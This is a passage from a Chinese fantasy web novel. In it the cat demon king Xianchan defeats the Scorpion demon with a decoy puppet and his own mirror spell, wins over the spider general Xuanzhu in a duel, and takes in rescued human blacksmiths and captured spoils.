还有在各处响起的爆炸声和燃起的熊熊火焰,都把众妖的恐慌放大到了极致。 在这种情况下,谁还有心思去细究刚刚跟自己打了照面的妖脸熟不脸熟。 别说是这些小妖了,就连被召去集|合的妖兵们都想跑了。 蝎子妖的集结令他们都收到了,但是看现在这个情形,妖兵们心里都哇凉哇凉的。 他们这会被召去前线,那不就是去送死吗?! 连三大妖将都死了,他们去了能顶个屁用啊! 心里一慌,队伍也就乱了。 有妖兵悄悄地脱下了蝎子腰牌,往脸上糊了泥巴,往小妖群里一钻,跟着跑了。 有了一个,就有两个三个 这下好了,蝎子妖本就折损不少的手下又少了一大片。 等他清点手下,发现只召来了三分之二的妖兵时,他鼻子都快气歪了! “衔!蝉!”他咬牙切齿:“老子与你势不两立!” 等会见到那衔蝉,他一定要立刻用宝镜吸干她的法力,再将她砍做臊子以泄心头之恨! 而这时,衔蝉在哪里呢? 她正用原型趴在某个阳光灿烂的大石头上,伸直了四肢拼命吸收阳光里的灵力。 “大王!你好了吗!” 三参忽然带着游击小队从石头后面冒了出来。 “好了!走吧!” 猫跳下石头,变成人形,跟着三参等妖离开。 这次就再没有什么虚的能整了,她得实打实的跟蝎子妖和玄蛛同时对上! 蝎子妖满山找了半晌,才终于找到了东坡子洞的“主力部队”。 乌央乌央的一大群小妖扛着猫头旗帜,乍一看,气势惊人,数量竟也不输蝎子妖的妖兵大军。 但要是仔细一看,就会发现站在后面那一大群小妖咋越看越有点眼熟? 不过蝎子妖暂时没空管小妖眼熟不眼熟。 他一来就死死盯住了大马金刀站在最前方的那个领头的妖王。 蝎子妖不着痕迹的打量了一下这个劲敌。 只见她身穿浅黄短打,身量颇高,肩上还扛着一把大刀,可惜蒙着脸,看不清长什么样。 仇人相见分外眼红,蝎子妖当场就怒喝一声:“兀那黄猫!敢来战否!” 说着就把手往衣襟里一掏,掏出一面镜子来。 而衔蝉却没答话,只沉默的举起大刀,刀尖指向蝎子妖。 蝎子妖见她一副连话都不屑跟自己说的样子,气笑了。 他一边示意玄蛛带兵迎战衔蝉身边的几个妖将,一边自己拿起镜子,对准了衔蝉。 玄蛛见状,挑了挑眉。 她环视一圈,最后在东坡子洞的妖将堆里挑了个穿黑白条纹衣裳的小将下手。 玄蛛张开掌心,无数条蛛丝便朝那小将攻去。 小将也不吭声,举到斩断蛛丝,跟玄蛛缠斗起来。 玄蛛跟她对了几招后,脸上露出了些许玩味的表情。 这时候还敢分心啊看来是有点本事。 她继续猛攻,用蛛丝封死小将的退路,定要逼她拿出真本事来! 这时,玄蛛的部下也迅速与另外几个小将带领的妖兵战了起来。 大战一触即发。 蝎子妖的麾下明显装备比东坡子洞这边精良很多,但士气却反而不如对面。 只不过碍于大王和妖将都在,没有妖敢当众叛逃而已。 但当东坡子洞的妖在打斗间隙低声劝降时,这些妖兵身体很诚实的划起了水。 当然他们不划水也不行,因为他们的武器居然一个照面就被人家打断了,这还打个鬼哦! 与此同时,蝎子妖也不再磨蹭,举起宝镜,将嘴唇凑近镜子背面。 衔蝉一直盯着他的动作,此时便竖起了耳朵。 让她听听,这个神秘的咒语究竟是什么! 蝎子妖压低声音,清了清嗓子,随后字正腔圆的喊出了一小声:“嗷!” 衔蝉:“??” 啥玩意嗷的一声?? 这就是开启宝镜的咒语?在逗她玩吗! 但事实证明,蝎子妖并没有逗她玩,那嗷的一声也并不是恶搞。 蝎子妖话音刚落,就见那宝镜的镜面陡然一亮。 镜面上浮现出一圈涟漪似的波纹,随后蝎子妖拿镜面对准衔蝉猛地一照! 一阵看不见的吸力传来,衔蝉顿时脚下一软,栽倒在地! 蝎子妖见状就要上前补刀。 因为宝镜只吸收法力和修为,并不伤妖性命。 所以每次使用宝镜后,他还得补上一刀,才能叫敌人毙命。 蝎子妖一刀砍下! 咔嚓一声。 衔蝉顿时身首分离! “大王啊!!” 旁边忽然传来一声略显浮夸的惊呼。 地面也微微发颤起来,似乎脚下有什么东西正要破土而出。 “什么鸟东西!” 蝎子妖连忙往后一跳,险之又险的躲开了乍然从地下暴涨出的绿色藿麻! 但那藿麻却像是有神智似的,居然又往蝎子妖跳开的地方长了过去! 蝎子妖又躲,可不知道什么时候,他背后也长出了一片藿麻! 藿麻带刺的枝条一下子缠住了蝎子妖的手脚。 毒液立刻顺着毒刺注入到蝎子妖身上,叫他险些站立不稳。 不过这点毒素想放倒同样是毒物的蝎子妖还是有点难的。 只见蝎子妖奋力挣断了几根藿麻枝条,将双手挣脱出来,再忍着痛扯断缠住自己双脚的藿麻! 可这藿麻仿佛跟蝎子妖有仇,被扯断一根,又长出十根! 蝎子妖越扯越多,整个妖几乎被藿麻淹没! 这些东西对他来说不致命,但也够让他憋屈的了! 蝎子妖一怒之下,又举起了宝镜。 虽然不知道这些藿麻是怎么长出来的,但看上去应该是灵植。 灵植的话,应该也是有灵力的,想来宝镜也能对付! 先前他没掏宝镜,一是刚开始没反应过来,二是反应过来了又觉得收服这灵植倒也不错。 加上宝镜使用次数的限制,他便一时没有想用宝镜收拾这些藿麻。 可现在他被藿麻缠得烦了,也顾不上那么多了! 蝎子妖又扯断一把藿麻,将宝镜重新举到嘴边。 然而此时,藿麻又动了! 它们忽然齐刷刷的调转了方向,缠住了那面宝镜! 它们竟已生出了灵智,要夺他宝物! 可惜他的宝贝已经被他用玄铁链子锁在脖子上了,谁也别想抢走他的宝镜! 蝎子妖心里有底气,便也不是很慌。 他估算了一下距离,发现自己脖子伸长点还是可以把嘴巴凑到镜子背面去的。 大不了念咒语的声音再压低一点就是了。 蝎子妖清了清嗓子。 但此时异变陡生! “嗷!!!” 一声比蝎子妖更洪亮,更字正腔圆的吼声猛地响起! 镜面应声亮起。 不知道是不是错觉,蝎子妖好像感觉这次镜面比往常要更亮一些 等等,不对,他怎么看到镜面了?! 不好! 这些该死的藿麻!什么时候把他宝镜翻转过来对准他了?! 蝎子妖心中大骇。 原来这些藿麻不是要抢他的镜子,而是要用他的镜子对付他!! 可是事情为什么会发展到这个地步?! 谁把他的宝镜的咒语偷学了去?! “该死的小贼!”蝎子妖怒骂一声,随后浑身一软。 宝镜的光芒最终还是笼罩了他,并且在瞬间就吸走了他全身的修为和法力。 原来被吸干法力是这种感觉啊蝎子妖软绵绵的跪倒在地上。 脖子上的宝镜也顺势垂落在他心口,镜面上依旧有灵光闪烁。 蝎子妖咽下一口老血,颤巍巍抬起头:“玄蛛!速来助我!” 现在他唯一能指望的也只有玄蛛了! 蝎子妖抬头看向玄蛛,眼中竟流露出几分祈求。 此时玄蛛仍在跟那个黑白袍的小将缠斗,闻言便应了一声。 奇怪的是,当玄蛛收起蛛丝准备转头奔向蝎子妖时,那黑白袍的小将居然也默默地收手了。 她喘了口气,抬手扯断浑身的蛛丝。 玄蛛果然难对付哪怕是没注入毒素的普通蛛丝,也险些叫她吃了大亏。 不过蝎子妖可没空关注敌方的小将如何,现在他满脑子都是他逝去的法力和修为。 没了法力和修为,以后他还怎么服众? 蝎子妖越想越慌,随后心想,不行,决不能让玄蛛发现本王已经法力尽失! 他必须打起精神,让玄蛛知道,宝物不会噬主,而他也还是那个横扫八方的蝎子大王! 在这种危急关头他决不能露怯! 想罢,蝎子妖定了定神,竭尽全力的稳住身体,只看似平静的朝玄蛛招了招手。 玄蛛慢步走去:“大王,您没事吧?” 蝎子妖摇摇头:“本王不过一时不慎崴了一脚,玄蛛,你来帮本王砍断这些藿麻。” 他故作淡然:“这些没有脑子的东西,哪里懂得宝物不噬主的道理?” “本王没事,只是懒得跟这种小杂鱼纠缠。” 他吩咐玄蛛:“这些藿麻就交给你了。” 又欲盖弥彰的问:“刚刚跟你缠斗那小将是谁?看上去倒有几分本事,要本王帮你灭了她吗?” 说着举起了宝镜。 玄蛛听罢,笑了笑。 “大王不必管她。” 随后一根蛛丝从她指尖弹出。 第73章 “您还是先顾好自己吧。” 玄蛛轻声道。 蛛丝袭来, 这就是蝎子妖听到的最后一句话。 直到脑袋咕噜噜的滚到地上,蝎子妖也没弄明白,事情是怎么发展成这样的。 头颅上的双眼瞪得溜圆, 随即从人形变回了原型, 果然是一颗好大的蝎子头。 下一瞬,一只脚踩到滚落的蝎子头上, 咔嚓一声,将它踩碎。 玄蛛挪开脚, 又弯腰,拎起蝎子妖的半截身体。 “蝎子大王已死!尔等不必再负隅顽抗!听我号令,放下武器!” 妖兵们:“?” 懵了一下后,妖兵们这才愣愣地放下了手中的半截刀把。 不放也不行啊,大王都死了, 现在全场能做主的唯有玄蛛,除了听她号令之外,妖兵们着实不知道该怎么办。 因此众妖兵纷纷听令,既彷徨又茫然的停下了进攻。 东坡子洞这边,众妖见蝎子妖毙命,也齐齐停手, 竟也没乘胜追击。 大家一齐望向自家老大。 玄蛛随手扔掉半截蝎子, 偏头看向衔蝉。 “你是怎么做到的?”她问:“你的大王好像也死了,你不管她?” 难不成这个闲不住也跟她一样, 早有自立之心不成? 那倒是巧了。 知己啊。 衔蝉爽朗一笑,此时也不再隐瞒玄蛛:“实不相瞒,其实我才是衔蝉。” 她挥手收起藿麻,又扭头将地上的黄衣“衔蝉”拎起来抖了两抖。 随着她的抖动,假衔蝉的身形越变越小, 最后竟在她手中化作半颗被切开的豆子。 而地上的假猫头也失去了灵力支撑,噗的一声变回了另外半颗豆子。 这就是她先前拼命晒太阳充灵力,紧赶慢赶赶出来的放大版豆子傀儡。 她往这个豆子傀儡里充的灵力压得可结实了,没想到都没咋用上,还有点可惜呢。 “有意思。”玄蛛饶有兴味的点了点头:“你果然很有几分本事。” 衔蝉谦虚的笑了笑:“还得多谢大将军刚刚手下留情。” 玄蛛虽然嘴上不说,但跟衔蝉打的时候,她确实没下死手。 甚至连蛛丝都没淬毒。 这才让猫敢一心两用,一边控制豆子傀儡,一边跟她缠斗。 衔蝉朝玄蛛拱手:“大将军,如今蝎子妖已死,我们的合作就此达成,但不知大将军先前说的话还算不算数?” 她说的是玄蛛之前答应的“甘拜下风”那句话。 亲眼见识到玄蛛的本事后,猫就起了爱才之心,很想将她拐回东坡子洞。 当然猫也不强求,要是玄蛛的确无意屈居于猫下,那以后她统领柿子洞,大家做邻居,也行。 只是那样的话,猫以后再想要继续扩张地盘,就得绕远路了,有些麻烦。 玄蛛闻言也想起了这一茬。 她笑了。 “我说话一向算数。” “但”玄蛛看向衔蝉的眼神里仿佛冒出了一缕小火苗:“我想见识见识你的真本事。” 她一甩手,指尖蛛丝便凝聚成一条长鞭。 再将鞭稍一抖,在空中抖出一道破空声。 “衔蝉大王,你若能真刀真枪的赢过我,那我便甘愿转投你麾下,为你所驱使。” “如何?” 衔蝉:懂了,刚刚没打过瘾,对吧? 猫嗖的弹出锋利的指甲,呲牙一笑:“恭敬不如从命!” 玄蛛立刻脚尖一点,提鞭迎上衔蝉。 这一回,她俩都实打实的动了真格。 玄蛛的蛛丝终于淬了毒,长鞭上都泛着盈盈的蓝光。 要是被她抽上一鞭子,不死也得残。 但衔蝉也不虚。 她召出藿麻拧成鞭子,又用极快的速度抬手在空中画了一道护身符,随即冲向玄蛛。 一白一绿两条鞭子挥得噼啪作响,看得两边的妖众都瞪圆了眼睛。 当看到玄蛛一鞭子抽烂了衔蝉召出来的藿麻丛时,大家齐声喝彩。 又见衔蝉鞭子与符文齐出,打得玄蛛连连后退时,大家又齐刷刷的鼓掌。 也不知道到底是想哪边赢,或者是打心眼里觉得谁赢都一样。 毕竟刚刚玄蛛和衔蝉的态度大家都看见了,也咂摸出一点味儿了。 横竖大家以后不是一家就是邻居,那还顾忌什么,大声叫好就是了! 这一场架,衔蝉与玄蛛足足打了半个时辰。 刚开始是玄蛛占上风,她做妖将多年,经历的实战不知凡几,论经验论修为,说是碾压衔蝉也不为过。 衔蝉前期几乎是被压着打,全靠藿麻和符文护身,才勉强没被玄蛛抽死。 但随着时间推移,天平就开始倾斜了。 玄蛛属于强攻型战士,通常喜欢速战速决,因为她的毒素和灵力都有限,必须尽快放倒敌人。 而衔蝉恰好与她相反。 衔蝉这才刚迈上修炼之路不久,要论战斗经验,猫是远远比不上玄蛛的。 可她有一个所有妖都料想不到的优势:她能随时从阳光或月光中直接吸取灵力! 并且还不是像别妖那样一整天都只能吸取一丁点,吸取后还要哼哧哼哧的炼化了才能化作自己能用的法力。 衔蝉那变异成一颗小绿芽的丹田完全没有这种烦恼,她当场就能把吸收到的灵力化作法力! 她丹田里那颗小绿芽就像是变异成了某种既可以充电又可以储能的超级电池。 她完全可以边打边充电! 这就让猫的灵力续航久到离谱。 不管是用灵力催动藿麻,还是现场聚灵画符,衔蝉几乎都不用担心灵力耗尽的情况。 只要她能扛住对手的前一段猛攻,等对手灵力渐渐耗尽,那就到了猫的反攻时间! 于是乎,战到后期,玄蛛逐渐吃力,而前期一直在以防守为主的衔蝉却越打越来劲! 她打到后面,竟把玄蛛的原型都给打出来了! 一人高的大蜘蛛有八条漆黑的长腿,可八条腿都愣是没扛住猫的两只手! 玄蛛越打越心惊。 这是个什么怪物猫! 怎么会有妖越打越精神的!她的灵力用不完的吗?! 玄蛛感觉自己的灵力都快耗光了,蛛丝和毒素都快挤不出来了,可衔蝉却还在精神百倍的画符,甩藿麻鞭子! 又坚持了一会,发现衔蝉还是没有丝毫疲态的玄蛛果断选择了停火。 她收起蛛丝,变回人形,一只手捂着被掏空后隐隐作痛的丹田,一只手直摆。 “不打了不打了。” 玄蛛:“我甘拜下风。” 她是彻底服了! 玄蛛也是干脆,当即就朝衔蝉单膝一跪,低头抱拳道:“玄蛛愿投大王麾下。” 衔蝉连忙收起藿麻,将玄蛛扶起来。 “好!那么从今往后,我们便都是一家妖了!” “我也不说那些虚的,但只要我们东坡子洞在一天,你就依然是玄蛛大将军!” “从前你在这边有什么待遇,我们那边也照给!” “而且你是我们洞里第一个正儿八经的妖将,以后有了新的妖将,也还要请你多多照拂!” 玄蛛郑重的点了点头:“多谢大王厚爱,玄蛛必不负大王提携之恩!” 她很尊重强者的。 只要真真正正比她强,她就会是全天下最忠诚的属下。 但要是哪天被她发现头上的家伙只是个花架子,那就别怪她有不臣之心了。 这一点衔蝉也明白。 蝎子妖的两截身体就摆在那呢。 不过衔蝉一点都不担心玄蛛将来会反。 因为猫有自信,她以后只会越来越强! 所以玄蛛一定会成为一个非常忠心的部将! 衔蝉和玄蛛相视一笑,一切尽在不言中。 之后就该清点战利品,并率众凯旋了。 玄蛛既已投了东坡子洞,她手下的妖兵们当然也要跟着主将一起转投衔蝉大王。 原先跟着另外三大妖将的妖兵们看着玄蛛手下的兵,期期艾艾的表示,自己也愿跟随玄蛛大将军,投到衔蝉大王麾下。 衔蝉看着那乌央乌央的大一群妖兵,摸了摸下巴。 这么多妖兵,她倒也不是养不起。 但她又不是没见过某些家伙的嘴脸。 猫可不想养一群媚上欺下的混账东西。 东坡子洞不收垃圾! 所以衔蝉思量了片刻,决定遣散所有男妖兵,男先锋。 “本王不收男妖,你们自去吧!”她大手一挥,让那些男妖速速离开,自找生路去。 她不杀俘虏已经是对他们额外开恩了。 对衔蝉的决定,男妖们十分惊愕。 “大王,为何不收我等?”有男妖辩解道:“我等战力颇佳,不比女妖差啊!” 虽然玄蛛手下那一群女妖兵跟她们的主将一样可以压着这些男妖兵打,但男妖兵们觉得自己还可以再挣扎一下。 衔蝉大王的仁慈美名和东坡子洞的富裕程度早就传开了,谁不想跟着去过好日子啊? 凭什么只有那些女妖能去东坡子洞呢! 衔蝉闻言就翻了个白眼。 这些天以闲不住的身份潜伏的时候,她可没少看到这些男妖的种种作态。 只能说他们不愧是蝎子妖的属下。 “滚滚滚!本王不想跟你们废话,再不滚,本王就要大开杀戒了!”衔蝉亮出利爪。 东坡子洞众妖也齐齐亮出武器,虎视眈眈的看向不受欢迎的男妖们。 说实话,大王不收男妖,大家心里可高兴了。 因为现在东坡子洞里都是女妖,要是来了男妖,大家想想就觉得别扭! 她们辛辛苦苦建起的家园,凭什么叫这些男妖来享福? 看他们那样就知道他们不是什么勤劳肯干的! 反观那些被抓去做杂役做苦力的女妖们一个个面相都老实巴交的,玄蛛和她的部下又是个个英姿飒爽,怎么看怎么比那些男妖好。 所以选谁那不是很明显的嘛! 男妖们:“” 他们不情不愿的被撵走了。 还别说,他们一走,周围的空气都清新了不少。 男妖们前脚刚走,后脚又来了一群人。 关师傅带着人类铁匠们,从隐蔽处走了出来。 她们运气不太好,趁乱跑的时候刚好跑到了战场附近。 也恰好目睹了接下来的一切。 当衔蝉自爆身份时,关师傅都惊了。 “原来她就是衔蝉大王”关师傅捂着心口喃喃自语:“难怪了” 看着很快便跟玄蛛战作一团的衔蝉,关师傅在心里下定了决心。 跟她一起躲在附近的铁匠们也有了决断。 于是等尘埃落定后,众人果断一起走了出来。 “我等也愿意跟随衔蝉大王,求大王收留。” 她们都已经没有家了,就算下山,也未必能找到安稳的落脚之处。 还不如先跟着衔蝉大王,去看看她说过很多次的东坡子洞究竟是什么样。 她们心想,既然衔蝉大王都肯拜人类为师了,那应当也愿意接纳她们吧? 衔蝉当然愿意。 她可太愿意了! 这都是她急缺的技术人才呀! 衔蝉连忙扶起要倒头拜下的关师傅:“诸位请起!东坡子洞欢迎各位!” 关师傅坚持拜完了这一礼,才顺着衔蝉的力道站起身。 她长长的舒出一口气:“多谢大王。” 衔蝉看着一众铁匠师傅们,笑得见牙不见眼的。 人类们见她仍旧和先前一样的灿烂笑脸,心中莫名的安定了不少。 衔蝉也不含糊,当场就给关师傅升了个官。 “关师傅” “关衡,大王唤我名字即可。” “好的关师傅。”衔蝉拍拍她的肩:“以后你就是我们东坡子洞的冶炼场场长啦!” “虽然现在我们还没有冶炼场,但是马上就会有了!” 回头把柿子山上的冶炼场和采石场收拾收拾,就可以投入使用了,都是现成的! 到时候冶炼场的工作就交给关师傅她们啦! 猫都想好了,让她们跟先前的人类劳工一样,每周放一天假,工资也照给。 当然也照样要给她们拨一些打下手的小妖,至于愿不愿意把本事教给那些小妖,就看小妖们自己能不能成功拜师了。 还有采石场也需要妖手,但安全措施必须做好,也不能叫人家饿着肚子干活。 衔蝉的脑子里划过许多想法。 不过那都是后面的事情,现在她还有更重要的事情要做! “走!清点战利品去!”衔蝉一挥手,脚步轻快的带着大家去搜刮蝎子妖的家当。 正好,现场就有一个极具价值的战利品。 衔蝉喜滋滋的走到两截蝎子妖之间,捡起那面巴掌大的宝镜。 她很小心的让镜面背对着自己,只好奇的细看了一下镜子背面。 镜子背面果然有好些深深的划痕,边缘还碎了一个角,一看就是被打坏了的。 衔蝉摸了摸镜子背面刻着的阴阳鱼和八个卦象,心想,原来这是个八卦镜啊! 还挺稀奇。 回头再好好研究研究。 那个十分潦草的咒语真是让猫记忆犹新,有空了一定要琢磨琢磨怎么个事。 最好还得想个办法让镜子认主,不然它那跟玩似的咒语谁都能念,那也太坑了! 猫心想,回去就找师尊问问! 因为这八卦镜一看就是降妖师的东西嘛!问师尊肯定没错! 衔蝉把八卦镜塞回蝎子妖做的布套子里,又顺手把挂着镜子的玄铁链子一起薅走。 这下可是真·捡到宝了! 并且还有更多的宝贝,正躺在蝎子妖的地盘各处,等着她去取! 衔蝉兴高采烈地带着大家,一起在蝎子妖的地盘上搜刮起战利品来。 带得走的粮草武器全部带走,带不走的矿场仓库全部留着备用! 玄蛛路熟,带着衔蝉直奔蝎子妖的洞府,去掏他的宝库。 不过蝎子妖最大的宝贝已经在衔蝉兜里了,宝库里剩下的都是些相对普通的宝贝了。 有蝎子妖从别的妖那里抢来的灵植灵药;还有些奇形怪状不知道什么用处的法宝; 衔蝉甚至还找到一瓶子剖出来的妖丹,和一堆一看就是在人类身上搜刮下来的金银财宝。 再一想关师傅她们的来路,衔蝉不由得叹息一声。 “作孽哦。” 回头去问问关师傅她们,这些东西里有没有她们的,有的话就还给人家。 “不全是她们的。”玄蛛插嘴道。 “这些大部分是蝎子妖去山下抢的。” 跟岭山边缘的“乡巴佬”妖不一样,蝎子妖是个很有些见识,也很懂享受的妖。 他曾经多次带领那三个男妖将下山,不仅要掳美丽的女人回来享用,还要掳精壮的男人回来使唤或是虐打取乐。 待玩够了,又将其下锅做成酒菜。 那些有特殊技能的人类,比如铁匠,厨子,纺织工等等,也是见一个掳一个。 关师傅等人就是这样被掳来的。 而且一开始,冶炼场里大多数都还是男铁匠。 因为山下的人类破规矩多,什么本事都讲究传男不传女。 但很快蝎子妖就发现男铁匠们屁事多,不好管理,便起了杀心。 他还发现,男铁匠们的家眷平时也没少给他们打下手,活也没少干,只是一直被排挤在圈子之外,学不到真本事而已。 蝎子妖不是人类,他在这方面倒没什么讲究,便试着叫她们跟男铁匠一起干活。 在蝎子妖的淫|威之下,男铁匠们不情不愿的把本事传授给了自己的家眷。 再然后,事实证明蝎子妖这个决定没做错。 关师傅等人接替男铁匠们之后,干活不仅比他们更麻利更细致,还不像男铁匠们那样成天叽叽歪歪的破事一堆。 于是蝎子妖就干脆让关师傅等人彻底接手冶炼场的活计,再把那些仗着自己有几分本事就不知道自己姓什么了的男铁匠们给拿去下酒了。 所以后来冶炼场的铁匠都是女人。 还都是跟蝎子妖有血海深仇的女人。 衔蝉咋舌:“他怎么造了那么多孽啊。” 还拿人下酒,怪不得山下的人类一提到妖就如临大敌! 玄蛛却有些惊讶于衔蝉的态度。 “这算什么作孽。”她不解:“蝎子妖比人厉害,他就能吃人,要是人比他厉害,就反过来吃他,有错么?” 弱肉强食,不都是这样的吗。 玄蛛自己虽然没有吃人的爱好,但她也不觉得吃人是什么大问题。 “这问题大了去了!”衔蝉大惊失色:“我们东坡子洞里的妖可不兴这一套啊!” “我们自己种粮食,养普通牲畜吃,我们不吃人,也不吃妖的!” “好吧。”玄蛛对此表示无所谓:“你是大王,你说了算。” 反正她没有吃人吃妖的爱好,虽然嘴巴有点刁,但她觉得人类做的那些吃食就挺有趣的。 风妧做的除外。 衔蝉:“” 风妧不是混成了玄蛛的厨子吗? 怎么看起来玄蛛好像对她的厨艺很不满意的样子。这对吗? 玄蛛没吭声。 她何止是不满意。 要不是看在她是降妖师,或许能破解蝎子妖的宝镜咒语的份上,玄蛛早就把她撵走了。 衔蝉眨了眨眼睛,出于对自家师妹的维护,她选择跳过这个话题。 “算了算了,反正只要你们都不吃人不吃妖就行。” “你要是喜欢人类的吃食的话,你也可以去山下请厨娘的。” 衔蝉打算给玄蛛开的“工资”还蛮高的,她想请十个八个厨娘都够用。 玄蛛闻言又来了兴趣:“何为工资?” 衔蝉顿了顿:“就是月钱啊,每个月给你们发的银子和资源啥的。” 玄蛛挑眉:“你还倒给我们发月钱?” 衔蝉:“啊。不然嘞?” 总不能叫她们白干吧。 玄蛛用很惊奇的眼神看了衔蝉一眼。 “从来只有小妖供养妖王的,没听说过妖王供养小妖的。”她感慨:“大王,你很不一般啊。” 衔蝉有点懵:“那你跟着蝎子妖,其实一直在干白工?!” 玄蛛:“也不算干白工吧。” “他本事大,能庇护麾下,我们便可仗着他的势去抢夺别妖的洞府,除了要孝敬他的部分,剩下的自己也能留点。” 所以玄蛛这些年其实也攒了不少身家的。 刨除上缴给蝎子妖那一部分,她自己也还能从部下们那里收到不少孝敬。 衔蝉更懵了:“他不给你们发工资,你们还要倒过来给他送资源?” 甚至由于没有工钱只能继续剥削更底层的手下,这听上去也太惨了点吧! 纯倒贴上班的牛马员工,资本家听了都要落泪! 然而土生土长的玄蛛却不觉得这有什么问题。 妖王庇护小妖,不就是图这些吗?不然人家干嘛护着一些实力不如自己的小妖? 妖王的庇护,可不是那么好拿的。 这也是底层小妖们最好的出路。 如果没有妖王或者大妖庇护,她们就只能四处流浪,过吃不饱穿不暖,朝不保夕,颠沛流离的日子。 要是运气不好,还会被别的大妖或者降妖师抓了去下酒,死了也没谁在意。 所以对小妖们而言,合力供养妖王以换取安全保障就是最好的选择。 而且要是运气好,投靠了厉害的妖王,还能仗着妖王的势,为自己积攒些身家。 这样修炼也有了些许保障。 衔蝉:“” 猫忽然觉得自己对这个世界的了解好浅薄。 原来别的妖王都是这么干的吗? 听上去比她这个操碎了心的大王享福多了啊! 可是摸了摸自己活蹦乱跳的良心,衔蝉觉得,自己好歹也是跟着铲屎官受过文明教育的猫,还是别做黄世仁了吧。 猫可不想被挂路灯! 第74章 “别的妖王手下是什么规矩我不管。” 衔蝉捂着心口, 里面的良心跳得正欢:“但我们东坡子洞的规矩就是谁也不吃白食,不干白工。” 玄蛛这回接受得更快了,她痛快的点头:“全听大王吩咐便是。” 衔蝉又道:“还有你的手下, 你也得约束她们, 要守洞里的规矩,不要像那些男妖一样。” 玄蛛:“没问题。” 她手下的妖兵们没有别的优点, 就是听话,极其听话。 因为不听话的都已经被玄蛛杀了。 所以她手下的妖兵, 每一个都可以做到令行禁止。 衔蝉:“以后你也不许随意杀手下。” 怎么能随随便便就杀自己的手下!这也太残暴了! 玄蛛:“” 新大王手下的规矩怎么这么多。 但还是那句话。 玄蛛一向尊重强者。 衔蝉真刀真枪的打赢了她,那么她的每一句话,玄蛛都会视作命令。 因此,不管衔蝉立了多离谱的规矩,她都能忍。 而且仔细想想, 这些新规矩对她也没什么害处。 不需要供养妖王反而还有月钱拿,只是不许随意杀妖吃人,这怎么看都是赚的嘛。 于是玄蛛飞快的接受了衔蝉的新规矩,并表示自己一定会给手下们做好榜样。 衔蝉这才稍稍松了口气。 玄蛛和她手下这支妖兵能极大的增强的东坡子洞的硬实力,但前提是她们得真正的融入到东坡子洞里。 不然的话,猫就相当于给自己家牵了一群未驯化的野狼回去, 迟早要出大问题。 好在玄蛛非常懂规矩, 她那些被她杀剩下的手下们也很识时务,这就让衔蝉省心多了。 之后玄蛛又带着衔蝉, 去另外几座山头上把那三个男妖将的洞府也打劫了一番,又发了一笔。 风妧阿琅三参她们也各自带着一队妖,把蝎子妖的地盘刮了个干净。 顺便还救了好些被蝎子妖掳上山的人类们,多半都是些技术工,也有部分伶人乐工等。 不过那些人也被蝎子妖看管得严, 消息不灵通,被解救出来后也显得很惶恐。 风妧见状便将她们聚在一处,叫她们跟着自己走。 这才叫那些战战兢兢的人类稍稍放心。 不久后阿琅三参她们也带着从别的山头搜刮完毕回来汇合的队伍,排着队找衔蝉去了。 这时天色已经不早,衔蝉看着堆成小山的战利品,和许多双期待的眼睛,猫一挥手:“走!回家去!” 众妖便齐声欢呼着应和起来:“得令!回家喽!” 衔蝉昂首阔步,走在最前面,身后紧跟着风妧,玄蛛,阿琅,三参,以及各路小妖与人类。 小妖们与人类们之间还挺泾渭分明。 东坡子洞里的妖个个喜气洋洋,身板也扎实,此时扛着猫头旗帜和满筐的战利品,走在风妧阿琅三参身后的第一梯队。 玄蛛手下的妖兵则列成纵队,亦步亦趋的紧随自家主将,算是第二梯队。 在玄蛛的妖兵们背后,则跟着关衡等铁匠,以及别的被解救出来的人类们。 她们跟妖兵们隔了一小段距离,但又隔得不算远,因为再远一些就跟不上风妧了。 最后一个梯队里的白果麦子等小妖神色中半是期待半是忐忑,她们数量最多,气势最弱,但也没有一个掉队的。 一大群人和妖就这样乌泱泱的回到了小泉峰上。 风朔和白三姑已经等了许久,见到衔蝉归来时,这才长长的舒出一口气。 衔蝉大步走向师尊和姑姑,尾巴竖得笔直:“师尊!三姑!我们打赢回来啦!” 猫很臭屁的侧了侧身体,让师尊和姑姑看她身后小妖们大包小包背着扛着的战利品。 “看!我们抢回来这么多东西!” 又拨弄了一下挂在脖子上的八卦镜:“还捡到个大宝贝!” 风朔抚掌笑道:“好好好,不愧是我徒儿,真有本事!为师就知道你能行!” 白三姑上前一步,拉着衔蝉仔细看了一圈:“大王回来就好,有没有受伤?累不累,饿不饿?要先歇歇吗?” 衔蝉噗的一声变回原型,蹭了蹭白三姑的手背,然后又屁颠颠的跑去蹭风朔。 “我没受伤!好着呢!不累!” 跟两位长辈显摆了一番后,猫又竖着尾巴,张罗着准备迎新仪式。 敦实得像个小老虎似的猫大王站在自己的王座(一张木头椅子)上,大声说道:“今天我们东坡子洞又来了很多新成员!” “所以,我们要为新成员们举行一个欢迎仪式!还要庆祝我们又打下了一大块地盘!” 猫拍爪宣布:“我们要大庆三天!” 说罢,底下便传来热烈的掌声和欢呼。 新成员们更是激动得不得了,鼓掌鼓得手心都红了。 宣布完这个新消息后,衔蝉又发布了一系列的命令。 首先就是给新成员们登记造册,再分配住处,定下薪资待遇和画个升迁路线的大饼。 其次还有那些战利品也要全部清点后收归入库,由于东西太多,还得专门为它们拨一个仓库出来。 最后又吩咐负责做饭的小妖们,今天的大锅饭多做点!敞开了做顿好的! 这么老些事情,光靠东坡子洞里的老成员们是不可能忙得过来的。 于是乎猫爪一拍,决定让新成员们也一起来! 白三姑和胡图那边支起了桌子,让新成员们排队过去登记姓名跟脚岗位。 新成员们排起的队好像几条长龙,一眼都望不到头。 阿琅见状,便跑去搬了几张新桌子来,然后问新成员里有没有识字的? 很快就有几双手举起来了,仔细一看,几乎都是人类。 并且第一个举手的就是关衡关师傅。 阿琅很高兴,连忙叫她们先登记,然后再坐上桌,跟白三姑胡图她们一起登记别的新成员。 这样登记处的队伍效率就翻了好几倍。 随后阿琅自己又带着手下的文书账房队伍,开始对战利品清点入库。 三参见状,便跟桃子和板板一起,吆喝着给大家做晚饭去了。 顺便还从刚登记完的新成员里薅了好些帮手过去,一点都不见外的。 玄蛛饶有兴致的看着这许多个有条不紊的队伍,第一个做了登记。 “姓名:玄蛛;跟脚:天玄鬼面蛛;职位:妖兵大将军;待遇:每月十两银,十株灵植” 玄蛛:“灵植?” 是她想的那个灵植吗? 负责给她登记的胡图点点头:“嗯呐,我们山上有灵植田的。” 她做招聘也算是熟手了,画饼的本事也跟大王一样张口就来:“而且以后我们还会继续扩建灵植田,将来大家都会受益的!” “大王说以后咱们不仅要种灵植,还要卖灵植,赚银子,大家的月钱也会跟着涨的!” 玄蛛一愣。 灵植田,还能扩建?? 